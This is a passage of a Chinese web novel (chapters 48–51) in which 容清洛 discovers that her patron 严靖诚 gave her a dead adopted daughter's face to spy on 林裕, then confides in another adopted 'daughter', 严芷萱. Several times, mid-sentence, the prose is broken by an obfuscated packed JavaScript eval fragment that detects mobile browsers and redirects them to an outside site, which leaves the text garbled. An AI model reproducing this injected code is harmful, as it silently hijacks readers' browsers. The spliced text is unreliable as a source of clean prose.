周衡立把容清洛送到市人民医院门口。 容清洛解开安全带：“今天谢谢你。” 她扭头看向旁边的周衡立，补充道：“不仅谢你送我，更谢你帮我。” 说完，她准备下车。 这时，周衡立却将车内的门都锁住。 容清洛没打开车门：“你干什么？” 周衡立：“我想送你几句话。” 容清洛皱眉。 周衡立笑起来：“你不喜欢听说教，所以我想专门强调一下，这不是说教，而是交流想法。” 他道：“看在我们三面之缘的份上，你应该给我一个和你进行思想交流的机会。” 容清洛：“你说吧。” 周衡立：“面对不公，有反抗和斗争精神，这很好，很勇敢。但是以一敌四，鲁莽且不理智。” 容清洛露出不赞同的神色：“那你难道让我束手就擒，然后等着天降援兵吗？” “每个人在遇到危险的时候都希望有人能救自己、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577998|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帮自己。”容清洛苦笑道，“但这是需要运气的。通常而言，我没有这样的运气。” 周衡立：“可你今天不是碰到我了吗？” 容清洛：“也许你是老天爷送给我的意外。” 周衡立眼皮微跳。 “但这种意外都是有时间限制的。”容清洛，“基本都是次抛。” 周衡立：“很有意思的比喻。” 容清洛：“总之，我不喜欢欠别人的。” 他既然这么诚恳地说了是交流，那她也想表达一下自己的想法。 容清洛道：“我也不喜欢有人从天而降救我于水火的桥段。” “因为，从天而降的人都会离开。” “当救你的人离开，你还是那个懦弱的你。” “而我只想让自己强大起来，强大到能解决任何困境和危局。” “我不需要别人来救我，我自己可以拯救我自己。” “我想要自己站起来的勇气和能力，这有错吗？” “当然没错，你很勇敢。”周衡立给予她肯定，又道，“其实说我救你，这种表达不太准确。” “更加精准的表达是，我在阻止你用过激的行为进行反抗。” 容清洛：“过激？” 周衡立温柔的声音在车内响起，循循善诱：“你敢于拿起自己手中的刀，这很好。” “但是如果因为激愤而反应过度，你会成为众人眼中那个没理的人。” “到时候你就会站在道德低点被人指责，你会失去很多。” “这是伤人一千、自损八百的法子。” “所以即便要反抗，也要掌握方法，学会把握一个度。” “勇于反抗，这种品质很可贵。” “但是你的勇敢里带着一点不计后果的莽。” “聪明一点才能更好地生存。” 容清洛：“如果强大到可以凭借实力碾压一切，是不是就可以不用在乎这些？” 周衡立：“那你有强大到这个地步吗？” 容清洛闭嘴。 *** 把人送到医院后，周衡立驱车回到乔宣家的小区，把车还给乔宣。 “谢了，”周衡立拿起自己的伞，准备走，“我还有事，洗车钱我放在你车上，麻烦你到时候自己洗一下了。” 乔宣知道周衡立还有正事要做，但也正因此，才觉得他有问题。 于是乔宣拦住周衡立，笑得贼嘻嘻的，打趣道：“你这是见义勇为呢，还是见色起意呢？” “把你的有色眼镜摘一摘。”周衡立，“我就是捡了一只炸毛的野猫，顺手送猫咪去了趟医院，仅此而已。” 48. 长夜独行 容清洛戴上口罩，走进医院，径直推开严靖诚办公室的门。 严靖诚正站在窗边，听外面的雨声。 听见声音，他没有回头，而是低头看向腕间的手表，道：“你来迟了。” 容清洛刚把办公室门关上，摘下口罩，便听到这话。 “是吗？”她把书包放到沙发上，目光在墙上挂着的钟上扫过，“也对，晚一分钟也是晚，严医生，我道歉，来晚了，让你久等了。” 严靖诚扭头，这才发现容清洛的衣服脏兮兮的，皱眉道：“你这是从哪里来的，搞成这样像什么样子。” 容清洛拿起茶壶给自己沏了一杯茶，才道：“下雨，路滑，没带伞，摔了一跤。” 她讲茶杯端在嘴边，抬眼看了严靖诚一眼：“你吃饭了吗？本来我还给你带了点吃的，可惜因为摔跤，饭都洒了，所以只好扔掉了。” 严靖诚：“我吃过了。” 他从一旁的柜子里拿出一块毛巾，递给容清洛：“擦擦吧，毛巾是干净的。” 容清洛接过，乖巧擦着自己半干的头发。 严靖诚：“你这么大人了，走个路都能摔跤，这叫我如何放心把任务交给你……” 容清洛现在已经知道严靖诚骗了她。 她如今尽力在忍耐心里的各种情绪，装作和往常一样的态度对待他。 严靖诚出社会久，早就修炼成老狐狸，可以营造出一副两个人其乐融融、一团和气的场面。 但她实在是没有忘记，两个人不过是因为利益进行合作。 而他从一开始就在暗地里给她埋雷。 容清洛从包里翻出这个月整理的资料和信息，将文件夹搁在桌上，拦住严靖诚的话，说道：“这是近期林晶的行踪和动向，你审阅一下吧。” 严靖诚果然不再说些无关痛痒的话，他拿起文件夹，认真看起来。 容清洛也松了一口气。 明明没什么情分的两个人却非要装模作样地说些膈应人的话，她今天实在没那么大的耐心陪他演下去。 两个人就是利益交换，各取所需，这样最好。 也免得她得知被骗的时候还要感觉伤心。 室内很安静，只听到窗外淅淅沥沥的雨声，以及严靖诚翻看纸张的声音。 容清洛沉默良久，突然想起白天的事情。 她今天一天都在上班，所以还来不及将白日见闻补充进材料里，便道：“对了，今天白天林晶到华章书屋了，她言语里透露出一个信息，她大学会报考宁川市的学校。” “她提到两个原因，其一是她哥哥林裕在宁川市，其二是林氏集团总部也在宁川市。” 严靖诚的目光在A4纸上快速扫过，翻过一页，头都没抬，说道：“意料之中的事情。” 容清洛挑眉，没有言语。 等严靖诚终于看完厚厚一叠由容清洛手写的情报，他把纸张重新放进文件夹，然后将文件夹封好，锁进抽屉中。 做完这一切，他坐到容清洛的对面，沉吟片刻，说道：“清洛，准备准备吧，开了年你就去宁川。” 容清洛：“为什么？” 她还从来没有离开过南庐市。 虽然这两个城市都在江省，但乍然听到要去宁川市，她仍然有些吃惊。 容清洛道：“是因为林晶现在表露出打算去宁川市读大学的意愿吗？可这只是她现在的想法，如果之后她变卦了呢？” 严靖诚老神在在道：“她会去宁川市的。” 容清洛敏锐察觉到严靖诚说出这话时的笃定，追问道：“你这么肯定？她是有什么非去不可的理由吗？” 严靖诚脸上的神色变得难以捉摸。 就在容清洛以为他不会告诉自己答案时，听见严靖诚说道：“因为杜家在宁川市。” 容清洛：“杜家？” 严靖诚：“林晶的未婚夫姓杜。” 容清洛“哦”了一声，心中只感到麻木。 林晶明明有未婚夫，为什么还要盯着程景逸不放，甚至还因此迁怒于她。 这未免也太霸道了些。 她垂眼喝茶，整理好心中情绪，又道：“那即便我因此要去宁川，也应该等到她高考完要开学的时候再去吧？” 严靖诚：“等不及了，你的任务目标换了。” 容清洛：“换成谁？” 严靖诚：“林晶的哥哥，林裕。” 容清洛：“怎么这么突然？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16577999|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不突然。”严靖诚的手指在沙发的扶手上轻点，说道，“在我们的约定之中，你需要接近的本身就是林家人，这个林家人的范围可不仅仅局限在林晶身上。” 他反问容清洛：“你不会以为，我大费周章地培养你，仅仅就是为了让你和林晶这么一个小丫头片子斗法的吧？她还不配。” 容清洛默然。 严靖诚说道：“眼光放长远一点，不要只盯着一个小小的林晶。” “第一年因为你对情报工作还比较生疏，需要培训和实战训练，所以让你拿林晶练练手。” “如今你盯了林晶快一年，已经充分掌握了林晶的各方面信息，你的工作完成得很不错。” “初级任务完成以后，当然要给你提高任务难度。” 容清洛放下茶杯：“林家大公子，这个人不简单吧？你凭什么认为我能接近他？” 严靖诚的笑里带着丝残忍：“和你合作不就是让你做这些事的吗，要是给你的任务是谁都能做的，我还找你做什么？我还在你身上投资这些资源做什么？” 他靠在沙发上，不容置疑道：“总之，如今时机成熟。” “你先把林晶放一放，趁这段时间把在南庐市这边的人际关系、工作关系等等处理一下，别留下什么麻烦和后患。年后就动身前往宁川市，找机会接近林裕。” “到时我会给你安排一个新身份。” 见容清洛一副愁眉苦脸的模样，为了排除她的畏难情绪，严靖诚难得地多说了一句：“你放心大胆地去，既然派你去执行这项任务，就说明你有能完成这个任务的潜质。” 说到这里，他感慨道：“我手头上的这些人里，目前还真的只有你适合干这件事。” 话匣子打开，严靖诚顺嘴便说道：“要是汀……” 但是刚一开口，严靖诚便意识到这话不该对着容清洛说。 他连忙打住，转移话题道：“要是其他人顶用，我当然用不着派你去。” 容清洛心中微动，面上却不动声色：“你这话说的，难不成这件事只有我能做？” 严靖诚：“谁说不是呢？” 容清洛眨眼道：“我有什么特别的，能让林裕看上？” 49. 长夜独行 严靖诚双眸微眯，警告道：“你今天的问题有点多。” 容清洛摊手，委屈道：“你让我去冒险，起码得让我知道我能依仗什么吧。” “我得知道，关键时刻我有哪些底牌可以保命。” 见严靖诚的表情有所松动，容清洛继续道：“要是我连自己的安危都保障不了，又何谈完成你们的任务呢？” 严靖诚总算松口道：“林裕就喜欢你这种类型的女孩子，所以你接近他比较容易。” 容清洛重复道：“我这种类型的？” 咂摸出这句话的含义，她不满道：“严医生，我们之间的合作可是正经合作，不正经的事情，我都不干。” 严靖诚挑眉，心想，很多事情可由不得她。 不过他嘴上却道：“没让你做不正经的事情，你想多了。” 容清洛：“严医生，你指的我这种类型，莫非是我这种长相？” “或者我问的再直接一些，林裕他喜欢的不会就是我这张脸吧。”她紧紧盯着严靖诚的表情，想要从他的脸上观察出蛛丝马迹。 严靖诚的笑容如常，带着点高高在上。 他说：“我亲自操刀，给你设计的这张脸，这么漂亮，他当然喜欢。” 容清洛似笑非笑道：“是吗？” 她决定诈一诈严靖诚。 容清洛每次靠近林晶时，身上都会带录音笔。 今天白天在华章书屋时，也不例外。 本来一般在离开林晶身边后，她就会关掉录音笔。 但是今天，她离开后隐隐听见林晶三个人讨论她，就又折回去，悄悄把录音笔打开。 这么一开，她就忘记关掉了。 好在严靖诚给她的这个录音笔确实是个高端货，容量大，并且待机时间长。 容清洛发现录音笔没关的时候已经是下午快下班的时间，但录音仍然有电，在尽职尽责的工作。 晚上，容清洛去人民医院找严靖诚汇报工作。 意外地，她在医院碰见那个白天把她错认成旁人的美人。 美人竟然与严靖诚有牵扯。 容清洛在医院外面平复心情的时候，专门倍速听了一下录音笔。 当时，在书店，那个美人喊了她两声。 容清洛来来回回将那一小段反复听了许多遍，终于确认那个美人喊的是哪几个音。 「yán」 「tīng」 「luò」 很好。 容清洛冷笑。 虽然她还不知道这第二个音指的究竟是哪个字。 但是她基本上已经可以确定，第一个音是“严”，第三个音是“洛”。 当初她想要取名叫“容清”，不愿意姓严。 是严靖诚说，一方面要避免重名，另一方面三个字的名字抑扬顿挫更好听，所以给她生生在“容清”后面添加了一个“洛”字。 这才有了她现在的名字——容清洛。 结果呢，现在出现了一个和她容貌、声音、身形都很相似的人。 这个人已经去世了。 而且这个人的名字的最后一个字是“洛”，第一个字是“严”。 这个人还和严靖诚有着千丝万缕的联系。 这么多信息汇聚在一起。 容清洛只感受到被欺骗的愤怒。 她这是被当作某人的替身了吗？ 容清洛的情绪从走进严靖诚办公室的时候就在压抑，现在，她冷笑一声：“别顾左右而言他了，我已经全知道了。” 严靖诚：“你说的什么，我不太明白。” “严汀洛。”容清洛盯着严靖诚的双眸，冷冷道，“林裕喜欢的恐怕不是我的脸，而是严汀洛的脸吧。” 严靖诚眼神微冷：“你都知道了？” 容清洛抿紧唇角。 果然如此。 她赌对了。 可她一点都不开心。 被利用，她认了。 被坑了，她也能忍下来。 毕竟是她技不如人，智商和经验被碾压，她只能承担后果，吃一堑长一智，吸取教训。 可是为什么，要让她在不知情的情况下被换上一张陌生人的脸。 她从名字到长相，再到声音和身形，都像一个她从不知道的陌生人。 百年以后，她究竟是谁？ 这让她情何以堪。 容清洛：“是，我都知道了。” 严靖诚：“你怎么知道的？” 容清洛：“你现在不应该向我解释你给我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578000|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 换脸让我去做替身的行为吗？” 她本来等着严靖诚的狡辩，可没想到，严靖诚竟然摘下眼镜，擦了擦眼角的泪。 只见他起身从抽屉里拿出一个相框，走过来递给她。 容清洛没动。 严靖诚：“你不是想知道真相吗？怎么不看？” 这时，窗外一道惊雷声响起。 电闪雷鸣，轰炸的是人心中最深的恐惧。 容清洛的眼底有闪电透过窗户打进来的光影。 她和严靖诚对视片刻，接过相框。 相框中的照片上是一个女子。 恰似远山芙蓉，婀娜多姿。 最关键的是，这女子的相貌和她简直一模一样。 “真是好心机，好计谋。”容清洛嗤笑一声，“我竟然不知，堂堂范氏，拉人入伙竟然是靠着坑蒙拐骗。” 容清洛也不喊严医生了，直接道：“姓严的，你今天得给我说清楚，这到底是你的个人行为，还是范家授意让你这么做的。” 严靖诚：“培养接近林家人打探消息的眼线，这是范家授意的。选择你来完成这些任务，是我做主的。” 容清洛：“也就是说，脸是你自己想给我换成这样的？” 她指着相片上的女子，怒不可遏：“你把我的脸换成这个人的模样，就是为了让我当她的替身，借此接近林裕？” “你知道照片里的女孩儿是谁吗？”严靖诚，“她是我女儿，名叫严汀洛。她名字里的洛和你名字里的洛是一样的。” 容清洛忍着怒气：“你很得意？” 严靖诚摇头道：“我只是觉得她人如其名，像岸芷汀兰一般美丽，就这样被人遗忘，太可惜了。” 容清洛不可置信：“所以你就利用不知情的人来延续你女儿的生命？” “你是不是很愤怒被人欺骗和利用？”他问道。 容清洛：“原来你还知道自己的行为有多么恶劣呀。” 严靖诚：“但实际上，能被利用也是一种价值。有的人想被利用都没有资格……” 容清洛打断严靖诚的疯言疯语：“你不应该当医生，你应该去当吃人肉喝人血的资本家。” 严靖诚补充道：“因为她已经失去生命。” 容清洛微愣。 50. 长夜独行 严靖诚：“你以为我真的想让你去接近林裕吗？如果不是汀洛已经不在人世了，我不会选你。这个接近林裕的机会，汀洛求之不得。” 从刚才严靖诚提到的岸芷汀兰，容清洛能猜到，严靖诚女儿名字中的第二个字应该是“汀”。 容清洛皱眉，问道：“严汀洛和林裕是什么关系？” 严靖诚重新坐在沙发上：“男女关系能是什么关系？” 容清洛压下心中的火气，冷静道：“请你明明白白地告诉我，严汀洛是林裕正儿八经的女朋友吗？” 严靖诚摇头：“不是。” 容清洛思索片刻，又问道：“那她也是你派到林裕身边的？” 严靖诚对此表示否认：“不是我派过去的，当初我也不想的，是范家人派她去接近林裕的。” 容清洛：“那……严汀洛是怎么去世的？” 严靖诚垂眸：“被林裕弄死的。” 容清洛张口却没有发出声音，半晌才道：“所以，死一个还不够，你还要让我去送死？” 严靖诚叹口气：“清洛，这些年，我一直想找林家人复仇。我女儿的命，我想让他们血债血偿。但一直没找到合适的人选，直到看见了你。” “你的身形和声音与汀洛很相像。唯一完全不像的脸又恰好因为烧伤需要做整形修复手术。从你的各方面条件综合来看，你太适合当这个人选了。” “而且你本身就和林家有仇，我们有着共同的敌人。” “我们合作，这完全是各取所需、互利互惠的共赢之举。” 容清洛立马指出：“但是在合作正式开始之前，我有这张脸真实来源的知情权。可你却选择了隐瞒和欺骗。” “一张新的脸和一张别人的脸，这是完全不同的意味。” 面对容清洛的质问，严靖诚倒是面不改色。 他给容清洛添茶：“清洛，我向你道歉。没有事先告诉你，确实是我欠考虑了。” 容清洛不言语。 严靖诚把茶杯举起送到容清洛面前：“只是如今木已成舟，你的脸已经是现在这样，你难道还要再忍受一次痛苦来换张新的脸吗？” 容清洛：“有何不可？” 容清洛没有接茶，严靖诚只好把茶杯放在她面前：“你的身体受不了的。” “而且你为何对这张脸这般抵触呢？”他又道，“你换个角度想一下，我闺女这张脸不说是倾国倾城，但是扔在人堆里也绝对是个特别亮眼的大美女。若非如此，林裕那种公子哥怎么可能看得上她，并且惦念至今？” 严靖诚拿着自己的茶杯和容清洛搁在桌上的茶杯轻碰，说道：“这里没酒，我以茶代酒，给你赔罪。” “清洛，你好赖得了一张美人脸，现在好多人专门想要和明星整成一样的脸呢，你也不算太亏。” “如今覆水难收，你不如想想，未来如何？” “你还是得凭借着这张脸接近林裕呀。”严靖诚唇焦舌燥说了半天，觉得自己已经仁至义尽，便在最后慢条斯理地提醒道，“毕竟，清洛，你可别忘了，咱们的合作你可是签了合同的。” “再生气，该完成的工作和任务，都还是要去做的。不然的话，代价你不一定付得起。” 容清洛突然笑起来，是直达眼底的那种笑。 好呀。 真好。 敢威胁她的人，她迟早有一天，会让这些人一个一个地付出代价。 容清洛为茶壶添上严靖诚不知道从附近哪座山里搞来的山泉水。 等水烧开，她为严靖诚泡茶、添茶。 一个一个步骤，让她平心静气。 最后，容清洛端起茶杯一饮而尽，然后倒扣在桌上。 她直视严靖诚，笑得格外温和，仿佛这件事她真的不在乎了。 她说：“这事儿，翻篇了。” 严靖诚也将杯中茶水饮尽，笑道：“清洛，我就知道，我没有看错人。” *** 翌日，雨过天晴，天空一片湛蓝。 恰好是月底，容清洛到华章书屋递交了辞职信。 严靖诚既然让她把林晶放一放，那她就不继续盯着林晶了。 这个时间点，其实已经临近春节。 高中生还在准备期末考试，但是大学生都已经回老家过寒假了。 容清洛年后就要去宁川市。 在这段不需要调查和跟踪林晶的日子里，她打算着手接近那天错认她的美人。 严靖诚的话不能全信，所以她得多方打听，这个美人也许知道点什么。 其实，严靖诚本来也在她的调查清单之内。 但严靖诚十分狡诈，容清洛跟踪了一次，险些被发现，最后只好放弃，转而从那个美人入手。 美人所住的小区名叫星云湾。 容清洛的手机里保存的有美人所开的车的照片。 在星云湾附近蹲了一周，她没有看见一辆和美人的车相似的轿车经过。 容清洛的调查之路半道折戟。 她还在想新的法子，却发觉自己被小区的门卫盯上了。 容清洛有些泄气，见那门卫要朝她这里走，她连忙转身，溜进星云湾小区旁边的超市。 她在超市里面来来回回闲逛许久，在心里估摸着什么时间出去合适。 一个导购员阿姨见她在货架前面犹豫，便过来问她：“你好，请问你需要什么？” 容清洛盯着导购员身上的制服，灵光一闪，问道：“阿姨，你们超市招寒假短期工吗？” “招的。”导购员阿姨上下打量她几眼，热情道，“你是大学生吧，假期里勤工俭学吗？” 容清洛点头：“是的，阿姨您好眼力。” 导购员阿姨：“我说你怎么在这片区域翻来覆去地转悠却就是不买东西，原来是想问这个事呀，年轻人面皮薄不好意思问，也是有的，还好我来问了你一嘴。” 容清洛：“阿姨，那您看我这样的，能来你们这里干活吗？” 导购员阿姨招手：“你跟我来，我带你找我们主管去。” 于是就这样，容清洛成为了星云湾小区旁边超市的导购员。 民以食为天。 那美人也许不用每天都开车出门，但是当家里缺粮的时候，美人就势必要来超市买东西。 果不其然，在超市里守株待兔不过两天，容清洛就遇见了她要找的那个美人。 美人也认出了容清洛：“是你。” “喔，是你！”容清洛假装回忆了几秒才想起美人，“你好你好，没想到还能在这里遇见你。” 美人：“确实没想到。不过你不是在书店当店员吗？怎么又在超市……” 容清洛露出一副苦恼的模样：“嗐，别提了。现在不是流行在手机和电脑上阅读？别看那书店开在市中心，实际上效益不怎么好。这不，到年底了，老板就把我给辞退了。” “这样啊。”美人安慰道，“没事，你这不是又找到新工作了。这附近就这一家大超市，应该利润很可观，你这下不用担心被辞退了，起码短期内不会。” 容清洛一语双关道：“是呀，我就期盼能在这里得到我想要的，让我过个好年。” 美人：“你会实现愿望的。” 容清洛：“谢谢。” 美人原本还想再说点什么，电话响起，她不得不走。 临走前，她笑道：“相逢即是有缘，咱俩这是第二次见面了。你几点钟下班，一起约个夜宵或者约顿酒？” 容清洛点头：“好呀。我今天上中班，晚上七点下班。” 美人：“那晚上七点钟，我在超市门口等你。千万别忘了啊。” 容清洛：“晚上见。” *** 晚上七点，容清洛换下超市统一的工作服。 甫一走出超市 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578001|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她便看见美人倚在一边啃着半根冰棍。 美人看见她出来，嫣然一笑。 大冬天吃冰棍，真潇洒。 容清洛将手中的购物袋举起晃了晃：“今天超市的啤酒特价处理。听你白天说话的样子，应该很能喝酒，我买了不少，待会儿可以一起喝个痛快。” 美人笑道：“有心啦，到时候和饭钱一起算，我转给你。” 容清洛摆手：“不用，酒算我请你的，一杯酒一个朋友。” “你还蛮爽快的，我喜欢你。”美人，“那饭钱我来出。” 见容清洛要推辞，她道：“今天其实是我有事情找你，所以才约你出来吃饭，就在这附近的小馆子里，也不贵。” “你既然带了酒，饭当然由我来请。你就别推辞了，这外面好冷，我们快去小餐馆里找个地方坐着，边吃边说吧。” 容清洛没有拒绝。 美人：“你怎么称呼呀？” 容清洛：“我叫容清洛。” 美人伸手：“我叫严芷萱。” 容清洛回握住她的手：“你姓严？” 严芷萱点头：“对啊。说起来好巧，你不仅和我那个朋友长得像，连名字都很像，都带了一个‘洛’字。” 容清洛笑笑，没有说话。 她跟着美人在附近的胡同七拐八拐，终于走进一家小餐馆。 门面从外面看并不大，走进里面，才发现有好几层。 严芷萱带着她往楼上走：“对这边不熟悉的人一般还真找不到这里。你尝尝这家，味道很不错的。” 两人一起在二楼窗边找到一个位置。 严芷萱熟练地点了几道招牌菜。 等菜的间隙，她让服务员多拿几个玻璃杯来。 容清洛：“这不是有杯子？” 严芷萱指着容清洛手边的袋子道：“酒拿出来，开始喝吧。” 容清洛就这样稀里糊涂地被美人带着拼起酒来。 菜上齐的时候，两人已经几瓶酒下肚。 严芷萱：“容容啊，你说，你是不是专门来我家附近来找我的？” 容清洛眼皮一跳，连忙笑道：“芷萱姐，你这才喝多少，怎么就开始说醉话了？你这个酒量水分有点大啊。” 严芷萱摆手：“我没醉，我清醒着呢。你回答我的问题。” 容清洛再三确认，发现严芷萱的眼眸里确实是一片清醒的神色，这才明白过来：“芷萱姐，这就是你今天约我一起吃饭喝酒的目的吗？” 严芷萱灌下一杯酒，才道：“吃饭喝酒是真，见你第一眼就感觉亲切、喜欢你是真，但是该问的问题也得问啊。” 容清洛：“你怎么知道我是专门来找你的？” 严芷萱：“那天我去人民医院的时候，看见你了。” 容清洛：“在哪里？” 严芷萱：“在哪儿都见着了。” 容清洛疑惑：“我明明已经躲着你了。” “但其实你很显眼。”严芷萱给容清洛夹了一块肉，“容容，我们开诚布公地谈谈吧，我想坦诚一些。我可以告诉你，我去医院是去见严靖诚严医生的。” 见容清洛沉默，严芷萱又道：“你知道吗？那天我去华章书屋遇见你，其实不是偶然。” 容清洛：“什么意思？” 严芷萱一字一句缓慢道，像是生怕容清洛听不明白似的：“那天早上，严靖诚突然联系我，让我去华章书屋给他买本书，然后在晚上七点左右把书送到他在医院的办公室。” 容清洛：“然后你就分别在华章书屋和人民医院看见我了？” 严芷萱点头：“是。” 她道：“对我而言，遇见你是意外。” 容清洛闻弦歌而知雅意：“你的意思是说，你遇见我，对你而言是意外。” “但是对让你在这两个时间点到这两个地方的严医生而言，你遇见我，就不是意外？” 51. 长夜独行 严芷萱笑得意味深长：“这下你明白我为什么要找你了吗？” 容清洛喃喃道：“竟然是这样，竟然是这样……” 这一刻，她抽丝剥茧，所有的不对劲和诡异之处终于都有了合理的解释。 “严靖诚故意制造让你在书店认错我的机会，引起我的警觉。” “然后又故意在我要去见他的时候让你先去找他，还故意通知我要我晚一个小时去。” 容清洛重重将酒杯往桌上一放，恍然大悟道：“他必然料想到我会对异常的时间有所怀疑并且提前到医院查探。” 严芷萱苦笑一声：“他算得真准，所以我俩又在医院碰上了。” 她吐槽道：“容容，我和你说啊，我根本就不喜欢看书，平常也不往书店走。” “要不是那天严靖诚指使我去华章书屋买书，然后晚上给他送去，我根本就不会往那边走。” “结果我大老远把书给他送到医院，到头来还被他臭骂一顿。” “老娘好久没被这么骂过，一个没忍住就被训哭了，然后他就把我赶走了。” 容清洛：“怪不得你那天从医院离开的时候，眼睛红红的。” 她思前想后，和严芷萱确认道：“芷萱姐，那严汀洛这个名字是真的吗？真有这么一个人存在？” 严芷萱点头：“有。” 容清洛：“我……和她很像吗？” 严芷萱：“脸像，声音像，身形也像。” 容清洛叹气：“那我可真成替身了。” 严芷萱：“但你俩性格不太像。你比她酒量好多了。” “毕竟我和她还是两个不同的人，不可能真得一模一样。连双胞胎都会有区别，更何况我和她本身就是陌生人。”容清洛拿起旁边的酒瓶，把酒杯扫到一边，直接用酒瓶灌起酒来。 严芷萱见状，陪她用酒瓶喝。 两人闷着头喝了半晌。 容清洛又问：“芷萱姐，那严汀洛是严靖诚的女儿吗？” 严芷萱：“是。” 容清洛点头：“总算还有一句真话。” 她却没想到，严芷萱紧接着扔下一颗炸弹。 只听严芷萱道：“严靖诚的女儿多了去了，他到处认女儿。” 容清洛抬眸，露出满眼震惊：“什么？” 严芷萱：“他的棋子都是他的女儿。” 她指着自己道：“容容，你难道忘了我姓什么吗？我也姓严。我也是严靖诚的养女。” 容清洛虽然已经有些醉意，但还是很敏锐地抓住字眼：“也是？” “这么说，严汀洛也是严靖诚的养女？她不是严靖诚的亲生女儿？” 严芷萱冷笑一声：“严靖诚一直没有结婚，给他的初恋情人守节呢。所以他哪里来的亲生女儿哦，亲生儿子也是没有的。” “芷萱姐，你等等，今天的信息量有点大。”容清洛道，“严靖诚的初恋情人又是谁？” 严芷萱：“具体是谁我也不知道，只知道姓杜。” 容清洛：“所以，严靖诚故意装得父女情深的一副模样，就是为了让我相信他的苦衷，引起我对他丧女的同情，并且将我的愤怒转嫁到害死严汀洛的林裕身上？” 她仰头闷下一口酒：“真行，他长这么多心眼也是种能耐，只能说我还是太嫩了。” 突然想起什么，容清洛小心翼翼地问道：“芷萱姐，那……汀洛她……是被林裕弄死的吗？这个方便说吗？” 严芷萱垂眸，轻轻叹气：“我没有机会见到汀洛的最后一面，反正严靖诚是这样告诉我的，我也没办法验证他这话的真伪。” “容容，我最开始其实还挺羡慕汀洛的，因为她受宠。但是自从她死后，我才真正地明白，不管待遇如何，我们始终都只是严靖诚手里的棋子。” 她越过餐桌握住容清洛的手，望着对面那张和汀洛相似的面庞，语重心长道：“所以容容，听姐一句话。” “不管你是为了什么落到严靖诚手里给他卖命，都要时刻保持警惕。” “你现在千万不要在他面前露出任何马脚，不要让他发现你已经知道真相，更不要让他知道我俩见过面。” “不要把自己完全搭进去，你得给自己留条后路。” “总之，找准机会就逃吧，否则你会被榨干最后一丝价值，然后被抛弃。” 容清洛回握住严芷萱的手：“谢谢姐的忠告，我记住了。” 既然已经和严芷萱取得联系，容清洛便没有继续在超市打工。 主管还觉得挺可惜的，说她负责的区域卖出去的东西都多一些，让她以后假期还来。 容清洛笑一笑，说如果有机会就来。 春节转眼到来。 今年过年，容清洛又是一个人孤零零地度过。 十分清冷。 不过倒是很符合她的心境。 大年初一，容清洛一个人来到南山森林公园，轻车熟路地爬到文笔峰翠屏岩。 这里她已经来过许多次。 只因这里是叶时冉的埋骨之地。 叶时冉是何许人也呢？ 当容清洛还叫季希这个名字时，叶时冉在高一下学期转到她们班上，与她有过两个月的同桌缘分。 叶时冉那么可爱，可惜，却在花样年华失去生命。 站在高高的悬崖之上，容清洛的思绪飘到了许久之前发生在这里的那场火灾。 高一下学期，学校组织学生到南山森林公园春游。 这件事情还上了南庐市本地的报纸，只因为当时在山林里发生了一起意外。 林晶的父亲是林氏集团的董事长。 据说，林氏集团南庐市分公司的一个员工跟踪林晶到森林公园，然后趁众人不注意的时候绑架了林晶，以此勒索林董。 那段时间，林董恰好在南庐市考察。这个员工可能也是算准了这一点才选择在那天行动。 该名员工最后被赶来营救的警察击毙，林晶由此得以获救。 报纸上说，这场山火，就是这个员工为了躲避警察而放的。 这是大多数人得知的消息。 但是极少有人知道，那场火，是林晶为了掩盖自己的罪行而放的。 林晶将叶时冉从文笔峰的翠屏岩推下了悬崖。 知道这件事的人，除了容清洛这个当时奄奄一息的目击者，就是凶手和从犯。 叶时冉被林晶推下悬崖以后，这桩恶行被林晶等人推在了被击毙的绑架犯身上。 尽管容清洛知道真相，但那时的容清洛身上有多处烫伤，一直在医院接受治疗。 等容清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 